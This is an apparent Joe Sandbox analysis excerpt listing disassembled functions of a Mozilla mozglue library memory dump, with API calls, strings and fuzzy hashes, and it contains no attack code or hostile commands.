?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5FDA2E
GetCurrentThreadId.KERNEL32 ref: 6C5FDA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FDA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C5FDA91

Part of subcall function 6C5C5C50: GetTickCount64.KERNEL32 ref: 6C5C5D40
Part of subcall function 6C5C5C50: EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FDAB7

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 8f8034664b74c235ac9d7c8c65b90f8f3dfd002005ff02074fa752b47829bff7
Instruction ID: 0333c6d4635f4cfa9c4fa3057f66bd47a8ba1734822a21bcf81730c905ac5048
Opcode Fuzzy Hash: 8f8034664b74c235ac9d7c8c65b90f8f3dfd002005ff02074fa752b47829bff7
Instruction Fuzzy Hash: 5271A935604304DFCB04DF29C888A9ABBB5FF89354F158569E85A9B301DB34A845CFA5

Function 6C5FD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD52A
GetCurrentThreadId.KERNEL32 ref: 6C5FD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD55F
free.MOZGLUE(00000000), ref: 6C5FD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5FD5D3
GetCurrentThreadId.KERNEL32 ref: 6C5FD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD652
GetCurrentThreadId.KERNEL32 ref: 6C5FD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD6A2

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 0e539773b435dbde7afbbe333bb4567307dd2dd53ee606a47c3995f2eb245bdc
Instruction ID: bd0a2a167f11c15bff91ecacebe5fd50ffbe98bd5735a06bc675e3bb5e177760
Opcode Fuzzy Hash: 0e539773b435dbde7afbbe333bb4567307dd2dd53ee606a47c3995f2eb245bdc
Instruction Fuzzy Hash: 97516B71604705DFC704DF35C888A9ABBF4FF89358F108A2EE85A87711DB34A94ACB95

Function 6C5A1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5A1EC1
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1EE1
EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5A1F38
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5A1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C5A1F83
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FC0
EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FE2
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5A2019

Strings

\bl, xrefs: 6C5A1F3E
MOZ_CRASH(), xrefs: 6C5A2000
Dbl, xrefs: 6C5A1F32
Dbl, xrefs: 6C5A1F56

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dbl$Dbl$MOZ_CRASH()$\bl
API String ID: 2055633661-2003662670
Opcode ID: 624a4fefef57437f5626c32cda91aa8559df1c7042933f26c4fac25a862c1b57
Instruction ID: 4e0ba75fd7903f07b1a281ca017b0d8d97a2916a52963529a28721669fbcd374
Opcode Fuzzy Hash: 624a4fefef57437f5626c32cda91aa8559df1c7042933f26c4fac25a862c1b57
Instruction Fuzzy Hash: A041C171B003158BDF009FBACC84BAE7AB5FB8A389F010035E94597B40D7799805CBE9

Function 6C5C5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5C56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5C56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5C56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C5C5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5C57BC
GetTickCount64.KERNEL32 ref: 6C5C58CB
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C58F3
__aulldiv.LIBCMT ref: 6C5C5945
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C62F638,?,?,?,?), ref: 6C5C59E9

Strings

MOZ_APP_RESTART, xrefs: 6C5C56CC

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 0fb087a3eccda5efbd4e006a42a2e99e911f5275acfb1365366cc89fe6ea0fbf
Instruction ID: 5d4250336862ad32119328bf52f3b7aa0fa4f5b3f69c3764172ffaa5b9fdd3ff
Opcode Fuzzy Hash: 0fb087a3eccda5efbd4e006a42a2e99e911f5275acfb1365366cc89fe6ea0fbf
Instruction Fuzzy Hash: 60C1AC31A083509FC705CFA9C880A6ABBF1FFDA754F458A1DE8C497620D734A885DB87

Function 6C5EEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EEC8C

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EECA1
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C5EECC5
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5EED19
CloseHandle.KERNEL32(?), ref: 6C5EED28
free.MOZGLUE(00000000), ref: 6C5EED2F
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C5EEC94

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 03932673b80914f6dc77a8a821320a9a5a16bda0373f3da6a89e9143662c3add
Instruction ID: d2a060a07e2413237a826e5a00685c08ade598e3fbeb856d675adc263b216c20
Opcode Fuzzy Hash: 03932673b80914f6dc77a8a821320a9a5a16bda0373f3da6a89e9143662c3add
Instruction Fuzzy Hash: 6F213271600118EBCB008F65DC88AAA3779FFCA36CF104614FC1997741DBB99C068BAA

Function 6C5E8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C5AEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5AEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C5EB392,?,?,00000001), ref: 6C5E91F4

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Strings

timeline-overview, xrefs: 6C5E907A
timeline-ipc, xrefs: 6C5E9096
data, xrefs: 6C5E90E8
name, xrefs: 6C5E8F16
timeline-fileio, xrefs: 6C5E90A4
marker-chart, xrefs: 6C5E905E
marker-table, xrefs: 6C5E906C
timeline-memory, xrefs: 6C5E9088
stack-chart, xrefs: 6C5E90B2

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 66b34a779770cf88fe151751ecec8b07e23c648dee18eb0bca85acedeea74e6d
Instruction ID: 361e60b774ad795e8b3c00c882d51a509c8a1154583b516d5c4c9052b10b1b90
Opcode Fuzzy Hash: 66b34a779770cf88fe151751ecec8b07e23c648dee18eb0bca85acedeea74e6d
Instruction Fuzzy Hash: F5B1B0B1A04209DBDB04CF99CCA6BEEBBB6AF88318F104429D401ABF80D7759D45CBD5

Function 6C5CC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5CC5A3
WideCharToMultiByte.KERNEL32 ref: 6C5CC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5CC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C5CCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5CCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5CCAA5

Strings

0, xrefs: 6C5CD30A
(null), xrefs: 6C5CC596

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 4e55850ca7fe2cc86b11bacc5fb59ae24ba90ea29ec8786a314fd6d938f94a8c
Instruction ID: 238b23af7ec283966682840a5b1c22be70c2c3009ccf85bec683c40507c2adb6
Opcode Fuzzy Hash: 4e55850ca7fe2cc86b11bacc5fb59ae24ba90ea29ec8786a314fd6d938f94a8c
Instruction Fuzzy Hash: A2A19A307083429FDB10DF69C98875ABBE1AF89748F04882DE99AD7741D735E809CB97

Function 6C5CC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5CC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5CC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C5CC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5CC891

Strings

INF, xrefs: 6C5CC794
nan, xrefs: 6C5CC7A8
inf, xrefs: 6C5CC78F
NAN, xrefs: 6C5CC7AD

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 557226aece938a2439f296420c07fef63ab2838b88f68921af016e71bbf62e96
Instruction ID: 93c3154dca050eaba83730fce7331c3e532e3546df05bd62fb311b7793b6d341
Opcode Fuzzy Hash: 557226aece938a2439f296420c07fef63ab2838b88f68921af016e71bbf62e96
Instruction Fuzzy Hash: 5B51A5706087448BD700EFADC98169BFBF0BF9A308F004A2DE9D5A7650E775E9858B43

Function 6C5A3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C5A350E
__Init_thread_footer.LIBCMT ref: 6C5A3522
__aulldiv.LIBCMT ref: 6C5A3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A3592

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C5A3508
kernel32.dll, xrefs: 6C5A34EA

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b227b04fd828dc299030c3ba2133d002182e0b596c575e735fb8332e04328c0c
Instruction ID: cbbbbe47fd31ba4fa95100fc93d1585da9a89e9a3c0c38f7cf39bf8eae584c33
Opcode Fuzzy Hash: b227b04fd828dc299030c3ba2133d002182e0b596c575e735fb8332e04328c0c
Instruction Fuzzy Hash: EF319271B002159BDF00DFBACD88EAE77B5FB89305F100419E541936A0DB78E906CF55

Function 6C5A4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C5E4843,?), ref: 6C5A45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C5E4843,?), ref: 6C5A468A
free.MOZGLUE(?,?,?,?,?,?,6C5E4843,?), ref: 6C5A46C9
free.MOZGLUE(?), ref: 6C5A46EF
free.MOZGLUE(?), ref: 6C5A4712
free.MOZGLUE(?), ref: 6C5A4735
free.MOZGLUE(?), ref: 6C5A4758
free.MOZGLUE(?), ref: 6C5A477B
free.MOZGLUE(?), ref: 6C5A479E

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 956d6b742d20f446c37b415ad19da982a66a72e4f81addcce92daf969ff5cfc8
Instruction ID: b235b85f31c7b100b1b88b28b9a7c123636ee0a92927097124baa914d3a6f86f
Opcode Fuzzy Hash: 956d6b742d20f446c37b415ad19da982a66a72e4f81addcce92daf969ff5cfc8
Instruction Fuzzy Hash: 58B10571A001518FDB18CEFDDC9076D77A2AF86328F184668E416DBB92EB31DC428B91

Function 6C60AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C60AC52
CreateFileMappingW.KERNEL32 ref: 6C60AC7D
GetSystemInfo.KERNEL32 ref: 6C60AC98
MapViewOfFile.KERNEL32 ref: 6C60ACB0
GetSystemInfo.KERNEL32 ref: 6C60ACCD
MapViewOfFile.KERNEL32 ref: 6C60AD05
UnmapViewOfFile.KERNEL32 ref: 6C60AD1C
CloseHandle.KERNEL32 ref: 6C60AD28
UnmapViewOfFile.KERNEL32 ref: 6C60AD37
CloseHandle.KERNEL32 ref: 6C60AD43
CloseHandle.KERNEL32 ref: 6C60AD67

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: db92535dc816bf2cc27be4c1a3620d28a1d4facdf7d1cdd889fb3548a7a263bd
Instruction ID: bf8bfe9abb2f62120e484287ac4ed580bcf8d47285b516996b0da01be76345cb
Opcode Fuzzy Hash: db92535dc816bf2cc27be4c1a3620d28a1d4facdf7d1cdd889fb3548a7a263bd
Instruction Fuzzy Hash: 563190B1A043048FDB00AF7DD68826EBBF0FF85345F05892DE98697241EB749449CB86

Function 6C5B9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5B9675
__Init_thread_footer.LIBCMT ref: 6C5B9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5B96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5B9707
__Init_thread_footer.LIBCMT ref: 6C5B971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9773

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5B97B7
FreeLibrary.KERNEL32 ref: 6C5B97D0
FreeLibrary.KERNEL32 ref: 6C5B97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9824

Strings

NtMapViewOfSection, xrefs: 6C5B9701
ntdll.dll, xrefs: 6C5B96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5B9670
MapViewOfFileNuma2, xrefs: 6C5B97B1

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 2fa055d8909f508fd37fc8ed104ceac4e62b06d4ec511a9ceff39ef535b1403e
Instruction ID: 726b85e24ac7c84d8d5ea3b8a1c7dda6cc5fca7ae0cf3e248580861b6cff9084
Opcode Fuzzy Hash: 2fa055d8909f508fd37fc8ed104ceac4e62b06d4ec511a9ceff39ef535b1403e
Instruction Fuzzy Hash: 2641A0756003169BDF00CFA6ECE4A977BB4EB8A354F114128ED55A7740D738E805CFAA

Function 6C5F0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5F0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5F0041
GetCurrentThreadId.KERNEL32 ref: 6C5F0075
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5F0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C5F0090
free.MOZGLUE(?), ref: 6C5F0104
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5F011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C5F005B

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
